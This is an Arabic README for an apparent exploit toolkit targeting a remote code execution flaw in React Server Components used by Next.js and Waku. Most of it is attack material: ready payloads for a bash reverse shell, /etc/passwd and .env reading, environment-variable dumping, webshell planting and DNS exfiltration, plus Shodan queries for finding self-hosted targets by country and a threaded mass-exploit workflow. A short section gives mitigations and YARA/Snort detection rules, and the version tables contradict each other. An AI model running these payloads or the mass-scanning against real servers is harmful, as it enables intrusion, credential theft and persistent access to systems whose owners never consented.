
مجموعة أدوات متقدمة لاستغلال ثغرات RCE لمكونات خادم React. تتضمن حمولات جاهزة متعددة، وتكامل مع Shodan لاكتشاف الأهداف، ومسح ضخم لاختبار الاختراق المصرح به.
مجموعة أدوات متقدمة لاستغلال ثغرات تنفيذ الأكواد عن بُعد (RCE) في مكونات خادم React
لاختبار الاختراق المصرح به والبحث الأمني فقط
الميزات • التثبيت • الاستخدام • التكامل مع Shodan • أمثلة • إخلاء المسؤولية
تستغل هذه المجموعة ثغرة تنفيذ الأكواد عن بُعد (RCE) حرجة في تطبيقات مكونات خادم React (RSC)، وتستهدف تحديدًا:
تعتمد الثغرة على تلوث النماذج الأولية (Prototype Pollution) وإلغاء التسلسل غير الآمن في آلية معالجة البيانات لـ RSC لتحقيق تنفيذ تعليمات برمجية عشوائية على الخادم.
تستخدم مكونات خادم React تنسيق تسلسل مخصص لنقل البيانات بين العميل والخادم. توجد الثغرة في كيفية إلغاء تسلسل هذه الأطر ومعالجة الحمولات المعدة خصيصًا.
سلسلة الهجوم:
$X:constructor:constructor للوصول إلى منشئ الدالة (Function constructor)_prefixالمهاجم → حمولة RSC خبيثة → الخادم المستهدف
↓
إلغاء التسلسل غير الآمن
↓
الوصول إلى سلسلة النموذج الأولي
↓
منشئ الدالة
↓
⚠️ تحقق RCE ⚠️
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# أو
yarn install
# تثبيت Shodan CLI
pip install shodan
# التهيئة باستخدام مفتاح API الخاص بك
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# بدء المستمع
nc -lvnp 4444
# تنفيذ الاستغلال
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
*مطلوب إما --payload أو --custom
عرض جميع الحمولات:
node rsc-rce-exploit.js --list
الإخراج:
📋 الحمولات المتاحة:
console - إثبات مفهوم أساسي - إخراج وحدة التحكم
الكود: console.log(7*7+1)
reverseShell - صدفة عكسية (bash)
الكود: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - قراءة /etc/passwd
الكود: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - تفريغ متغيرات البيئة
الكود: console.log(JSON.stringify(process.env,null,2))
execCommand - تنفيذ أمر نظام
الكود: console.log(require('child_process').execSync('COMMAND').toString())
webshell - كتابة صدفة ويب إلى /tmp
الكود: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - قراءة package.json
الكود: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - تسريب DNS
الكود: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
تنفيذ أي كود JavaScript:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Next.js أساسي
http.component:"Next.js"
# Next.js مع RSC
http.html:"__next" http.html:"RSC"
# وضع التطوير Next.js (أكثر عرضة)
http.html:"__NEXT_DATA__" http.html:"development"
# Next.js مستضاف ذاتيًا (ليس على Vercel)
http.component:"Next.js" -org:"Vercel"
# مستهدف جغرافيًا (فرنسا)
http.component:"Next.js" country:FR
# المزيج النهائي لاختبار الاختراق
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# إطار Waku
http.html:"waku" http.html:"RSC"
# نقاط نهاية Waku RSC
http.path:"/RSC/"
استخدم سكريبت الأتمتة المرفق:
# مسح واختبار تلقائيًا
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# مع حمولة مخصصة
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. البحث في Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. اختبار كل هدف
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] اختبار http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
تتيح أداة mass-exploit.js اختبار أهداف متعددة:
# من ملف
node mass-exploit.js --file targets.txt --payload console --threads 10
# من Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# حفظ النتائج
node mass-exploit.js --file targets.txt --payload console --output results.json
مثال لاختبار أمني آلي:
# .github/workflows/security-test.yml
name: اختبار أمان RSC
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
الإخراج المتوقع:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - Enhanced Version ║
║ React Server Components Code Execution ║
╚═══════════════════════════════════════════════════════════╝
[*] بدء الاستغلال...
[*] استهداف نقطة نهاية Next.js RSC...
[*] URL: https://vulnerable.example.com
[*] الحمولة: console.log(7*7+1)...
[+] حالة الاستجابة: 200
[+] جسم الاستجابة:
50
[*] اكتمل الاستغلال!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
النتيجة:
process.env# الطرفية 1: بدء المستمع
nc -lvnp 4444
# الطرفية 2: تنفيذ الاستغلال
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# الوصول إلى صدفة الويب
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# إعداد Burp Collaborator أو خادم DNS الخاص بك
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# قراءة ملفات حساسة
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
تحديث الإطار
npm install next@latest
# أو
npm install waku@latest
التحقق من الإدخال
// التحقق من جميع حمولات RSC
function validateRSCPayload(payload) {
// تنفيذ تحقق صارم
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
سياسة أمان المحتوى (CSP)
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
تعطيل RSC في الإنتاج (إذا لم يكن مطلوبًا)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-actionقاعدة YARA:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
قاعدة Snort:
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| نطاق الإصدار | الحالة | ملاحظات |
|---|---|---|
| < 0.18.0 | ⚠️ عرضة | RCE حرج |
| >= 0.18.0 | ✅ تم التصحيح | يوصى بالتحديث |
نرحب بالمساهمات! يرجى اتباع هذه الإرشادات:
git checkout -b feature/amazing-feature)git commit -m 'إضافة ميزة رائعة')git push origin feature/amazing-feature)⚠️ إخلاء المسؤولية القانوني ⚠️
هذه المجموعة مقدمة لاختبار الاختراق المصرح به والبحث الأمني فقط.
باستخدام هذا البرنامج، فإنك توافق على ما يلي:
1. اختبار الأنظمة التي تملكها فقط أو التي لديك إذن كتابي صريح لاختبارها
2. الامتثال لجميع القوانين المحلية والولائية والوطنية والدولية المعمول بها
3. عدم استخدام هذه الأداة لأغراض ضارة أو أنشطة غير قانونية
4. تحمل المسؤولية الكاملة عن أفعالك
المؤلفون والمساهمون:
- ليسوا مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة
- لا يشجعون أو يوافقون على النشاط غير القانوني
- يقدمون هذه الأداة "كما هي" دون أي ضمان من أي نوع
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.
سيتم مقاضاة المخالفين إلى أقصى حد يسمح به القانون بموجب:
- قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) - الولايات المتحدة
- قانون إساءة استخدام الكمبيوتر - المملكة المتحدة
- اتفاقية الجرائم الإلكترونية الأوروبية
- وقوانين أخرى سارية في منطقتك القضائية
الاستخدام على مسؤوليتك الخاصة.
هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل.
MIT License
حقوق الطبع والنشر (c) 2024 المساهمون في RSC RCE Exploit
يُمنح الإذن، مجانًا، لأي شخص يحصل على نسخة
من هذا البرنامج والملفات الوثائقية المرتبطة به ("البرنامج")، للتعامل
في البرنامج دون قيود، بما في ذلك على سبيل المثال لا الحصر الحقوق
في الاستخدام والنسخ والتعديل والدمج والنشر والتوزيع والترخيص، و/أو بيع
نسخ من البرنامج، والسماح للأشخاص الذين يتم تزويدهم بالبرنامج
بالقيام بذلك، وفقًا للشروط التالية:
يجب تضمين إشعار حقوق الطبع والنشر أعلاه وإذن الإذن هذا في جميع
النسخ أو الأجزاء الجوهرية من البرنامج.
يتم توفير البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو
ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق،
والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال لا يكون
المؤلفون أو أصحاب حقوق الطبع والنشر مسؤولين عن أي مطالبة أو أضرار أو غيرها
من المسؤولية، سواء في إجراء تعاقدي أو تقصيري أو غير ذلك، الناشئة عن
أو فيما يتعلق بالبرنامج أو استخدامه أو التعاملات الأخرى في
البرنامج.
⭐ إذا ساعدتك هذه الأداة في بحثك الأمني، يرجى منحها نجمة! ⭐
صُنع بحب ❤️ من قبل باحثي أمن، لباحثي الأمن
| الحمولة | الوصف | حالة الاستخدام |
|---|
console | إثبات مفهوم أساسي (console.log) | التحقق من الثغرة |
reverseShell | صدفة عكسية Bash | الوصول الأولي |
readFile | قراءة /etc/passwd | الوصول إلى نظام الملفات |
envDump | تفريغ متغيرات البيئة | استخراج بيانات الاعتماد |
execCommand | تنفيذ أوامر النظام | تنفيذ أوامر عشوائية |
webshell | نشر صدفة ويب Express | وصول دائم |
exfilPackage | تسريب package.json | تحليل التبعيات |
dnsExfil | تسريب DNS (خارج النطاق) | الاستغلال الأعمى |
| الخيار | الوصف | مطلوب |
|---|
--target <url> | URL الهدف | ✅ |
--framework <name> | الإطار: next أو waku | ❌ (الافتراضي: next) |
--payload <name> | اسم الحمولة (انظر أدناه) | ✅* |
--custom <code> | كود JavaScript مخصص | ✅* |
--lhost <ip> | IP الخاص بك (للصدفة العكسية) | ❌ |
--lport <port> | المنفذ الخاص بك (للصدفة العكسية) | ❌ |
--command <cmd> | الأمر المراد تنفيذه | ❌ |
--endpoint <path> | نقطة نهاية RSC مخصصة (Waku) | ❌ |
--action-id <id> | معرف next-action مخصص | ❌ |
--list | قائمة الحمولات المتاحة | ❌ |
--verbose | إخراج مفصّل | ❌ |
--help | عرض المساعدة | ❌ |
| نطاق الإصدار | الحالة | ملاحظات |
|---|
| < 13.4.0 | ✅ غير متأثر | RSC غير مفعل افتراضيًا |
| 13.4.0 - 13.4.19 | ⚠️ عرضة | RCE حرج |
| 13.5.0 - 14.0.4 | ⚠️ عرضة | RCE حرج |
| 14.1.0 | ⚠️ عرضة | تخفيف جزئي |
| >= 14.1.1 | ✅ تم التصحيح | يوصى بالتحديث |